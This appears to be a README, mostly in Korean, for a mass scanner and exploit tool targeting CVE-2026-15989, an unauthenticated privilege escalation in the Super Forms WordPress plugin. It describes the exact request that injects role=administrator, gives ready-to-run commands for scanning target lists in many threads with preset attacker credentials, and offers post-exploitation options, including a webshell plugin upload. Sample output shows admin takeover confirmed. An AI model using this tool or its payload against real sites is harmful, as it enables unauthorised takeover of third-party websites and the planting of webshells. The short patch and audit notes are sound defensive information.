
CVE-2026-15989에 대한 대량 스캐너 및 익스플로잇으로, Super Forms <= 6.3.316에서 role 파라미터를 통해 관리자 계정을 생성하는 인증되지 않은 권한 상승 취약점입니다.
Super Forms – Drag & Drop Form Builder (WordPress) ≤ 6.3.316 — 프리미엄 Register & Login 애드온의 role 파라미터를 통한 인증되지 않은 권한 상승.
| 속성 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-15989 |
| 체인 | registration form → $other_userdata 내 'role' → wp_insert_user(role=administrator) → ADMIN |
| 심각도 | 🔴 CRITICAL (CVSS 9.8) |
| 대상 | Super Forms – Drag & Drop Form Builder + 프리미엄 Register & Login 애드온 |
| 영향 범위 | ≤ 6.3.316 (코어) — 취약한 애드온 빌드 (v1.x) |
| 수정 버전 | 6.3.317 |
| 인증 필요 여부 | 없음 |
애드온은 폼 설정에서 새 사용자의 역할을 설정한 후
($userdata['role'] = $settings['register_user_role']),
'role'을 포함하는 $other_userdata를 순회하며
wp_insert_user()를 호출하기 전에 클라이언트가 제공한 값($data['role']['value'])으로
모든 키를 덮어씁니다.
POST /wp-admin/admin-ajax.php (unauthenticated)
│
▼
action=super_submit_form + data={"role":{"value":"administrator"}, ...}
│
▼
$other_userdata loop ─► $userdata['role'] = $data['role']['value']
│
▼
wp_insert_user() ─► administrator account created
│
▼
register_login_activation='login'/'auto' ─► wp_set_auth_cookie ─► admin session
수정 (6.3.317): 화이트리스트에서 'role' 제거 + get_safe_public_registration_role() (fail-closed).
독자적 연구 — 이중 제출 프로토콜: 코어는 v5.0.0에서 프로토콜을 변경했습니다.
| 코어 | 액션 | 데이터 형식 | Nonce |
|---|---|---|---|
| 4.x | super_send_email | 중첩 필드 (data[role][value]=...) | 없음 (검사가 주석 처리됨) |
| 5.x/6.x | super_submit_form | JSON 문자열 | super_create_nonce를 통한 sf_nonce |
이 도구는 탐지된 버전에 따라 프로토콜을 자동으로 선택합니다.
# mass scan + exploit
python CVE-2026-15989.py --list targets.txt --threads 10 --force --only-hits --results hits.txt --user Floydroot --password 'Floyd@2026!root'
python CVE-2026-15989.py --list targets.txt --threads 15 --timeout 6 --force --quiet --results hits.txt --user U --password P --no-dedup
# single target
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --email EMAIL --insecure
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --login --rce --insecure
# re-check an existing account without re-registering
python CVE-2026-15989.py --target TARGET --port 443 --user USER --password PASS --only-login --insecure
| 옵션 | 설명 |
|---|---|
--list FILE | 한 줄에 하나의 대상; URL|form_id 또는 URL|form_id=ID,email=X 형식 |
-u/--target, --port | 단일 대상 |
--threads, --timeout, --no-dedup | 대량 모드 튜닝 |
--force | 등록 폼이 탐지되지 않아도 페이로드 발사 |
--only-hits / --quiet | 확인된 적중에 대해서만 트리 출력 / 최소 출력 |
--reset | lost-password를 통한 verify 모드 완료 (운영자가 재설정 링크 붙여넣기) |
--only-login | 등록 건너뛰기; 로그인 후 users/me를 통해 역할 확인 |
--login / --rce | 실제 대상 사후 익스플로잇: 로그인 증명 / 웹셸 플러그인 업로드 |
-k/--insecure | TLS 무시 |
│ ├─ plugin : 6.3.316 — VULNERABLE <= 6.3.316
│ ├─ addon : v1.8.7
│ ├─ form : 4169 (/register/)
│ ├─ proto : 5.x/6.x (super_submit_form, JSON, sf_nonce)
│ ├─ payload : HTTP 200 ✓ processed
│ └─ session : cookie ✓ · admin confirmed — Floydroot/Floyd@2026!root
└─── ✔ ADMIN CONFIRMED
hits.txt — 확인된 대상만 (ts|url|status|detail, 사용자/비밀번호 포함)readme.txt Stable 태그 + common.js?ver=; 애드온 프로브 + 자체 버전/wp-json/wp/v2/users/me?context=edit를 통한 권위 있는 관리자 증명 (대체: users.php / dashboard)├── CVE-2026-15989.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
wp-admin/ 사용자 목록에서 예상치 못한 관리자 계정을 감사하세요